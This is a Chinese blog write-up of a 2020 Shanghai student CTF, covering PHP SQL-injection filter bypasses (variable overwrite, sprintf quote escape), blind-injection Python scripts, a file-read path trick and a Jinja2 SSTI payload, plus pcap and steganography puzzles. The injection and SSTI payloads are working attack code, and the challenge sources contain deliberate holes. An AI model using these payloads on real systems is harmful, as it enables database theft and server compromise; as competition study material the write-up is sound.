2020上海市大学生信息安全竞赛

web

web刷的题目还是太少了,SQL注入和SSTI的一些常见姿势,利用链都不知道,Orz

千毒网盘

扫描目录可以发现网站备份,下载得源码,进行代码审计

首先发现了SQL语句,肯定要想到注入

发现有过滤,直接绕这个过滤语句肯定绕不过去(引号都过滤了orz),所以再看看别的点

发现在过滤语句下面可以进行变量覆盖,后面参数为EXTR_SKIP,所以就不能覆盖已有的变量

但是想要注入就必须在$_POST[‘code’]上下手,而$_POST变量在程序运行时会自动创建.

这时候看到最上面有个unset

如果能通过这个unset掉$_POST,再通过extract($_GET,EXTR_SKIP)得到一个​$_POST,这样就绕过了过滤可以执行任意SQL语句了

经过测试,发现post参数test=123,cookie设置为_POST[test]=123可以成功unset($_POST)

其实也不难理解,在循环里面unset的时候,遇到cookie[]key=_POST的情况,然后再加$.变成$_POST,然后其value是传进去的value,但是在比较的时候,$_POST就直接被看成全局变量,其值是POST的参数值

至于下面的限制,利用弱类型即可绕过

构造SQL语句

剩下的就是不加限制的注入了

比赛就做出这一道web,出题人的点还是很容易get到的.把题目拿到本地环境测试很重要,这题就是一点一点测出来的.

最后贴个题目代码:

index.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <title>千毒网盘</title>
</head>
<body>
<div class="container">
<div class="page-header">
				<h1>
					千毒网盘 <small>提取你的文件</small>
				</h1>
			</div>
	<div class="row clearfix">
	<div class="col-md-4 column">
		</div>
		<div class="col-md-4 column">
			<br>
			<form role="form" action='/index.php' method="POST">
				<div class="form-group">
					 <h3>提取码</h3><br><input class="form-control" name="code" />
				</div>
				<button type="submit" class="btn btn-block btn-default btn-warning">提取文件</button>
			</form> 
			<br>
			<?php
			include 'code.php';

			$pan = new Pan();

			foreach(array('_GET', '_POST', '_COOKIE') as $key)
			{   
				if(${$key}) {
					foreach($$key as $key_2 => $value_2) { 
						if(isset($$key_2) and $$key_2 == $value_2) 
							unset($$key_2); 
					}
				}
			}
			if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
			if($_GET) extract($_GET, EXTR_SKIP);
			if($_POST) extract($_POST, EXTR_SKIP);
			if(isset($_POST['code']))
			{
				$message = $pan->getfile();
				echo <<<EOF
				<div class="alert alert-dismissable alert-info">
				 <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
				<h4>
					注意!
				</h4> <strong>注意!</strong> {$message}
				</div>
EOF;
			}
			?>
		</div>
		<div class="col-md-4 column">
		</div>
	</div>
	</div>
</div>
</body>
</html>

code.php

<?php

class Pan
{
    public $hostname = '127.0.0.1';
    public $username = 'root';
    public $password = 'root';
    public $database = 'ctf';
    private $mysqli = null;

    public function __construct()
    {
        
        $this->mysqli = mysqli_connect(
            $this->hostname,
            $this->username,
            $this->password
        );
        mysqli_select_db($this->mysqli,$this->database);

        
    }

    public function filter($string) 
    {
        $safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);
        if($safe === 0){
            return $string;
        }else{
            return False;
        }
		    
    }

    public function getfile()
    {
        
        $code = $_POST['code'];

        if($code === False) return '非法提取码!';
        $file_code = array(114514,233333,666666);
        
        if(in_array($code,$file_code))
        {
            $sql = "select * from file where code='$code'";
            $result = mysqli_query($this->mysqli,$sql);
            $result = mysqli_fetch_object($result);
            return '下载直链为:'.$result->url;
        }else{
            return '提取码不存在!';
        }
        
    }

}

TryToLogin

这题学到的东西就比较多

读文件姿势

  1. ?file=/proc/self/cwd/index.php
  2. 先读 etc/apache2/sites-available/000-default.conf

可以读到网站路径,然后再读代码

至于为什么只能绝对路径,可能下面的代码限制的

if(isset($_GET['file'])){
    if(preg_match('/flag/is', $_GET['file']) === 0){
        echo file_get_contents('/'.$_GET['file']); // 限制了根目录
    }
}

sprintf

发现存在注入,但是有下面的过滤

这时候就考虑绕过addslashes(),比赛的时候想到的宽字节绕过,FUZZ了一下不行,就放弃了2333

完全没注意下面还有个sprintf

public function filter() 
{
    $_POST['username'] = addslashes($_POST['username']);
    $_POST['password'] = addslashes($_POST['password']);
    $safe1 = preg_match('/inn|or/is', $_POST['username']);
    $safe2 = preg_match('/inn|or/is', $_POST['password']);
    if($safe1 === 0 and $safe2 === 0){
        return true;
    }else{
        die('No hacker!');
    }	    
}

public function login()
{
    $this->filter();
    $username = $_POST['username'];
    $password = $_POST['password'];
    $sql = "select * from user where username='%s' and password='$password'";
    $sql = sprintf($sql,$username);
    //$username = %1$'=> %1$\'
    $result = mysqli_query($this->mysqli,$sql);
    $result = mysqli_fetch_object($result);
    if($result->id){
        return 1;
    }else{
        return 0;
    }

}

可以利用sprintf来逃逸'

深入解析sprintf格式化字符串漏洞: https://blog.csdn.net/weixin_41185953/article/details/80485075

如:

所以就可以构造password=%1$'xxxx来逃逸引号

又FUZZ出来了admin/123456 所以可以进行盲注.

bypass inn/or

但是过滤了inn|or 就没法利用``information.xxx`

bypass information_schema: https://www.anquanke.com/post/id/193512

还有师傅wp是根据schema_table_statistics注入的,来自 Firebasky

https://blog.csdn.net/qq_46091464/article/details/109706976

exp:

%1$'||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),1,1))=1#

附上师傅脚本:

# ! usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time
url='http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/'
flag=''
for i in range(1, 50):
  for j in range(34,127):
    data = {
      'username':'admin',
      'password':"%1$\\' || ascii(substr((select
group_concat(table_name) from sys.schema_table_statistics where
table_schema=database()),{},1))={}#".format(i,j)
   }
    print("password"+data['password'])
    rse = requests.post(url=url,data=data)
    #print rse.text
    if "Success!" in rse.text:
      flag = flag + chr(j)
      print(flag)
      break
    time.sleep(0.05)
print(flag)
#user fl4g
import requests
import string
url="http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/"
s=string.ascii_letters+string.digits+"{-_}"

flag=""
for i in range(1,50):
	print("******************")
	for j in s:
        #print(j)
        data={
	'username':'admin',
	'password':"%1$\'||if(ascii(substr((select * from(fl4g)),{0},1))={1},1,0)-- +".format(i,ord(j))
			}
        print(data['password'])
		r=requests.post(url,data=data)
        if "Success" in  r.text:
			flag+=j
			print(flag)
			break

最后还是附上本题代码:

  <?php
class user
{
    public $hostname = '127.0.0.1';
    public $username = 'root';
    public $password = 'root';
    public $database = 'ctf';
    private $mysqli = null;

    public function __construct()
    {
        $this->mysqli = mysqli_connect(
            $this->hostname,
            $this->username,
            $this->password
        );
        mysqli_select_db($this->mysqli,$this->database);
    }

    public function filter() 
    {
        $_POST['username'] = addslashes($_POST['username']);// %df => '=? %df\ '
        $_POST['password'] = addslashes($_POST['password']);
        $safe1 = preg_match('/inn|or/is', $_POST['username']);
        $safe2 = preg_match('/inn|or/is', $_POST['password']);
        if($safe1 === 0 and $safe2 === 0){
            return true;
        }else{
            die('No hacker!');
        }	    
    }

    public function login()
    {
        $this->filter();
        $username = $_POST['username'];
        $password = $_POST['password'];
        $sql = "select * from user where username='%s' and password='$password'";
        $sql = sprintf($sql,$username);
        //%1$\'
        //$sql = "select * from user where username='%s' and password='123456'";
        //
        //$username = %1$'=> %1$\'
        $result = mysqli_query($this->mysqli,$sql);
        $result = mysqli_fetch_object($result);
        if($result->id){
            return 1;
        }else{
            return 0;
        }

    }

}

session_start();

<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <title>EasyLogin</title>
</head>
<body>
<div class="container">
	<div class="row clearfix">
		<div class="col-md-12 column">
			<div class="tabbable" id="tabs-268153">
				<ul class="nav nav-tabs">
					<li class="active">
						 <a href="#panel-671062" data-toggle="tab">Home</a>
					</li>
				</ul>
			</div>
            <br>
            <br>
            <br><h2>Easy Login</h2>
            <br>
            <br>
            <br>
			<form role="form" action="index.php" method="POST">
				<div class="form-group">
					 <label for="exampleInputEmail1">Username</label><input type="Username" class="form-control" name="username" />
				</div>
				<div class="form-group">
					 <label for="exampleInputPassword1">Password</label><input type="password" class="form-control" name="password" />
				</div>
                <button type="submit" class="btn btn-default">Submit</button>
            </form>
            <?php
            include 'class.php';

            if(isset($_GET['file'])){

                if(preg_match('/flag/is', $_GET['file']) === 0){
                    echo file_get_contents('/'.$_GET['file']);
                }
            }

            if(isset($_POST['password'])){
                $user = new user;
                $login = $user->login();
                if($login){
                    echo <<<EOF
                    <br>
                    <div class="container">
                        <div class="row clearfix">
                            <div class="col-md-12 column">
                                <div class="alert alert-dismissable alert-info">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
                                    <h4>
                                        恭喜!
                                    </h4> <strong>Success!</strong>登录成功了!
                                </div>
                            </div>
                        </div>
                    </div>
EOF;
                }else{
                    echo <<<EOF
                    <br>
                    <div class="container">
                        <div class="row clearfix">
                            <div class="col-md-12 column">
                                <div class="alert alert-dismissable alert-danger">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
                                    <h4>
                                        注意!
                                    </h4> <strong>Wrong!</strong>用户名或密码错误!Need help?
                                </div>
                            </div>
                        </div>
                    </div>
                    
                    <!-- /?file=xxx 请使用绝对路径-->
EOF;
                }

            }
            ?>
		</div>
	</div>
</div>
</body>
</html>		

Hello

可以直接读源码:

from flask import Flask,request,render_template
from jinja2 import Template
import os

app = Flask(__name__)

f = open('/flag','r')
flag = f.read()

@app.route('/',methods=['GET','POST'])
def home():
    name = request.args.get("name") or ""
    print(name)
    if name:
        return render_template('index.html',name=name)
    else:
        return render_template('index.html')    

@app.route('/help',methods=['GET'])
def help():
    help = '''
    '''
    return f.read()

@app.errorhandler(404)
def page_not_found(e):
    #No way to get flag!
    os.system('rm -f /flag')
    url = name = request.args.get("name") or ""
    r = request.data.decode('utf8')
    if 'eval' in r or 'popen' in r or '{{' in r:
        t = Template(" Not found!")
        return render_template(t), 404
    t = Template(r + " Not found!")
    return render_template(t), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8888)

这个题目就遇到了一点坑,本地测试的时候发现接收不到数据request.data,比赛的时候就又放弃了

request.data获得参数问题

Flask的request.form和request.data有什么区别?

当类型为application/x-www-form-urlencoded或者multipart/form-data是传给
request.form,request.data没有接到数据;如果是其他不能处理的类型就会给request.data

SSTI

很明显下面的 t = Template(r + " Not found!")存在模板注入,但是又存在os.system('rm -f /flag'),不能直接读文件.

@app.errorhandler(404)
def page_not_found(e):
    #No way to get flag!
    os.system('rm -f /flag')
    url = name = request.args.get("name") or ""
    r = request.data.decode('utf8')
    if 'eval' in r or 'popen' in r or '{{' in r:
        t = Template(" Not found!")
        return render_template(t), 404
    t = Template(r + " Not found!")
    return render_template(t), 404

还是参考别的师傅的wp Firebasky的利用链,可以直接读取flag变量

#-*-codeing = utf-8 -*-
#Firebasky
import requests
url = 'url'
for i in range(200):
  data="{%print [].__class__.__bases__[0].__subclasses__(["+str(i)+"].__init__.__globals__['__builtins__']['__import__']('__main__').flag %}"
  # print(data)
  res = requests.post(url=url,data=data)
  if "flag" in res.text:
    print(res.text)
    print("i=",i)
    break

misc

web狗第一次做misc

签到

pcap analysis

就直接跟踪65位长的TCP流,原理还是不太清楚.

pcap

过滤到dnp3协议

分析TCP流,发现下面的

然后发现全是91位的,过滤下,就可以按位读flag

...

可乐加冰

图片隐写:

binwalk看一下

这里和https://wooyun.js.org/drops/%E9%9A%90%E5%86%99%E6%9C%AF%E6%80%BB%E7%BB%93.html中的0x04很像,直接提取出文件

可以用脚本提取出2AE6.zlib

得到

834636363695438346369595364383469595954383469595364383463636363643834636363695438346369595364383469595364334453443834636953636438346369536954383463636953643834636369543344534438346369595438346369536954383463636363643834636363643344534438346369595364383463695953643834636369543834695363643344534438346363695364383463695369543834636369536438346369595954383469595364383469536954383463636363643834636953643834636369543834695369543834636959543834636369536

然后转换为字符:

S.$$$_+S.$__$+S.___+S.__$+S.$$$$+S.$$$_+S.$__$+S.__$+"-"+S.$_$$+S.$_$_+S.$$_$+S.$$_+"-"+S.$__+S.$_$_+S.$$$$+S.$$$+"-"+S.$__$+S.$__$+S.$$_+S._$$+"-"+S.$$_$+S.$_$_+S.$$_$+S.$___+S.__$+S._$_+S.$$$$+S.$_$+S.$$_+S._$_+S.$__+S.$$_$

很像JJEncode

S换成$=>$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$

再加上额外的固定首尾:

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+替换这里+"\"")())();
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$+"\"")())();

解密即可

解密工具下载:https://github.com/l0nnnaruu/Decoder-JJEncode

posted @ 2020-11-19 19:38  10nnn4R  阅读(678)  评论(0编辑  收藏  举报